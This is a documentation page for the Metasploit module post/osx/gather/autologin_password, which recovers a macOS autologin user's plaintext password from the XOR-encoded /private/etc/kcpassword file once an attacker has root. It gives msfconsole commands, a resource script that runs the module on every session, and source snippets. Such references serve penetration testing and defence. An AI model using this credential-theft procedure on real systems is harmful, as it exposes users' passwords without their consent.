OSX Gather Autologin Password as Root - Metasploit
This page contains detailed information about how to use the post/osx/gather/autologin_password metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: OSX Gather Autologin Password as Root
Module: post/osx/gather/autologin_password
Source code: modules/post/osx/gather/autologin_password.rb
Disclosure date: -
Last modification time: 2018-05-22 22:25:39 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module will steal the plaintext password of any user on the machine with autologin enabled. Root access is required. When a user has autologin enabled (System Preferences -> Accounts), OSX stores their password with an XOR encoding in /private/etc/kcpassword.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/osx/gather/autologin_password
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/osx/gather/autologin_password
msf post(autologin_password) > show options
... show and set options ...
msf post(autologin_password) > set SESSION session-id
msf post(autologin_password) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/osx/gather/autologin_password")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the osx/gather/autologin_password post exploitation module looks in the msfconsole:
msf6 > use post/osx/gather/autologin_password
msf6 post(osx/gather/autologin_password) > show info
Name: OSX Gather Autologin Password as Root
Module: post/osx/gather/autologin_password
Platform: OSX
Arch:
Rank: Normal
Provided by:
joev <[email protected]>
Compatible session types:
Meterpreter
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Description:
This module will steal the plaintext password of any user on the
machine with autologin enabled. Root access is required. When a user
has autologin enabled (System Preferences -> Accounts), OSX stores
their password with an XOR encoding in /private/etc/kcpassword.
References:
http://www.brock-family.org/gavin/perl/kcpassword.html
Module Options
This is a complete list of options available in the osx/gather/autologin_password post exploitation module:
msf6 post(osx/gather/autologin_password) > show options
Module options (post/osx/gather/autologin_password):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the osx/gather/autologin_password post exploitation module:
msf6 post(osx/gather/autologin_password) > show advanced
Module advanced options (post/osx/gather/autologin_password):
Name Current Setting Required Description
---- --------------- -------- -----------
KCPASSWORD_PATH /private/etc/kcpassword yes Path to kcpassword file
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the osx/gather/autologin_password module can do:
msf6 post(osx/gather/autologin_password) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the osx/gather/autologin_password post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(osx/gather/autologin_password) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Root privileges are required to read kcpassword file
Here is a relevant code snippet related to the "Root privileges are required to read kcpassword file" error message:
35: end
36:
37: def run
38: # ensure the user is root (or can read the kcpassword)
39: unless is_root?
40: fail_with(Failure::NoAccess, "Root privileges are required to read kcpassword file")
41: end
42:
43: # read the autologin account from prefs plist
44: read_cmd = "defaults read /Library/Preferences/com.apple.loginwindow autoLoginUser username"
45: autouser = cmd_exec("/bin/sh -c '#{read_cmd} 2> /dev/null'")
No users on this machine have autologin enabled
Here is a relevant code snippet related to the "No users on this machine have autologin enabled" error message:
45: autouser = cmd_exec("/bin/sh -c '#{read_cmd} 2> /dev/null'")
46:
47: if autouser.present?
48: print_status "User #{autouser} has autologin enabled, decoding password..."
49: else
50: fail_with(Failure::NotVulnerable, "No users on this machine have autologin enabled")
51: end
52:
53: # kcpass contains the XOR'd bytes
54: kcpass = read_file(kcpassword_path)
55: key = AUTOLOGIN_XOR_KEY
Go back to menu.
Related Pull Requests
- #10083 Merged Pull Request: Add Msf::Post::OSX::Priv mixin
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5964 Merged Pull Request: Support meterpreter for OS X post modules
- #2734 Merged Pull Request: Adds osx autologin password post module.
References
See Also
Check also the following modules related to this module:
- post/osx/gather/apfs_encrypted_volume_passwd
- post/osx/gather/enum_adium
- post/osx/gather/enum_airport
- post/osx/gather/enum_chicken_vnc_profile
- post/osx/gather/enum_colloquy
- post/osx/gather/enum_keychain
- post/osx/gather/enum_messages
- post/osx/gather/enum_osx
- post/osx/gather/gitignore
- post/osx/gather/hashdump
- post/osx/gather/password_prompt_spoof
- post/osx/gather/safari_lastsession
- post/osx/gather/vnc_password_osx
Authors
- joev
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.